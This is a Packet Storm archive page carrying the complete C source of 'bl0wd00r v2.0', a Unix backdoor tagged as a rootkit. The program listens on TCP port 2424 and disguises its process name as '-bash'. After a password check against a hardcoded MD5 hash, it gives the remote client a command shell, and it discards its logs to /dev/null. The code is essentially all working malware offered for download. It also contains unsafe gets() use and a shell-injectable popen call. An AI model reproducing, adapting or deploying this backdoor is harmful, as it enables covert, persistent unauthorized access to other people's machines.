exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

blowdoor20.c

blowdoor20.c
Posted Sep 20, 2002
Authored by Bl0w | Site secworld.org

Blowdoor v2.0 is a backdoor for Unix systems and uses md5sum passwords for authentication.

tags | tool, rootkit
systems | unix
SHA-256 | cd4c9df16235197d6f1234733005b24229793a87de84374240a544f8582d7932

blowdoor20.c

Change Mirror Download
/***************************************************
* bl0wd00r v2.0 coded by bl0w (full version)
* #offset @ BRASNet
***************************************************/


#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <signal.h>

#define port 2424 // port to listen
#define term "/bin/sh" // program to run
#define logs "/dev/null" // dir of logs
#define pass "61c8ec8adff5d92791f1b9308d7bef9f" // password encrypted with md5sum
#define proc "-bash" // hidden syntax

// thx for idea JNAX.C =)
#define GETS(esp) gets(esp); esp[strlen(esp) -1] = '\0';

#define B 1024

char a[36];

static void bala(const char *b, int dodnet2) { if (!strcmp(b, "exit")) { exit(0); } if (!strncmp(b, "cd ", 3)) { if (chdir(b +3) < 0) perror("chdir"); return ; } else { system(b); } }

// retirado da md5 -inicio
mdpass(char *aa)
{
FILE *temp;
char mps[1024];

snprintf(mps, 1024, "/bin/echo -n %s|/usr/bin/md5sum", aa);
temp = popen(mps, "r");
memset(a, 0, 36);
fread(a, 32, 1, temp);
fclose(temp);
return a;
}
// -fim

int main (int argc, char *argv[]) {

int dodnet, dodnet2, size;
struct sockaddr_in local;
struct sockaddr_in remote;
char cmd[256];

strcpy (argv[0], proc);
signal (SIGCHLD, SIG_IGN);

bzero (&local, sizeof(local));
local.sin_family = AF_INET;
local.sin_port = htons (port);
local.sin_addr.s_addr = INADDR_ANY;
bzero (&(local.sin_zero), 8);

if ((dodnet = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("socket"); exit(1); }
if (bind (dodnet, (struct sockaddr *)&local, sizeof(struct sockaddr)) == -1) { perror("bind"); exit(1); }
if (listen(dodnet, 5) == -1) { perror("listen"); exit(1); }

size = sizeof(struct sockaddr_in);

forkpid();

while (1) {
if ((dodnet2 = accept (dodnet, (struct sockaddr *)&remote, &size)) == -1) { perror ("accept"); exit(1); }
if (!fork ()) {

char check[15], username[15];
int i;

send (dodnet2, "username: ", sizeof("username: "), 0);
recv (dodnet2, username, sizeof(username), 0);

send (dodnet2, "password: ", sizeof("password: "), 0);
recv (dodnet2, check, sizeof(check), 0);

for (i = 0; i < strlen (check); i++) {
if (check[i] == '\n' || check[i] == '\r') {
check[i] = '\0';
}
}
for (i = 0; i < strlen (username); i++) {
if (username[i] == '\n' || username[i] == '\r') {
username[i] = '\0';
}
}


if (strncmp(mdpass(check), pass,32) != 0) { fuckoff(dodnet2, check, username); }
else { getshell(dodnet2, username, dodnet); }
}
else { signal (SIGCHLD, SIG_IGN); close(dodnet2); }
}
close (dodnet2);
exit(0);
}

forkpid() {
int pid;
signal(SIGCHLD,SIG_IGN);
pid = fork();
if(pid>0) {
sleep(1);
exit(EXIT_SUCCESS);
}
if(pid == 0) {
signal(SIGCHLD,SIG_DFL);
return getpid();
}
return -1;
}

fuckoff(int dodnet2, char *tentou, char *identifica) {
FILE *aa;
char a[B];

signal(SIGCHLD,SIG_IGN);

aa=fopen(logs,"a+");
sprintf(a,"date>>%s",logs);
system(a);

fprintf(aa,"IDENTIFICOU-SE COMO: %s",identifica);
fprintf(aa,"\nOCORRIDO: SENHA INCORRETA\n");
fprintf(aa,"TENTATIVA DE SENHA: %s",tentou);
fprintf(aa,"\n-----------------------\n");

fclose(aa);
close (dodnet2);
exit(0);
}


getshell(int dodnet2, char *identifica) {
FILE *aa;
char a[B];
char b[BUFSIZ];

aa=fopen(logs,"a+");
sprintf(a,"date>>%s",logs);
system(a);

fprintf(aa,"IDENTIFICOU-SE COMO: %s",identifica);
fprintf(aa,"\nOCORRIDO: ACESSO CONCEDIDO\n");
fprintf(aa,"\n-----------------------\n");

fclose(aa);

close(0);
close(1);
close(2);

dup2 (dodnet2, 0);
dup2(dodnet2, 1);
dup2(dodnet2, 2);

for(;;) {
printf("bash# ");
GETS(b);
bala(b,dodnet2);
fflush(stdout);
}
}
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close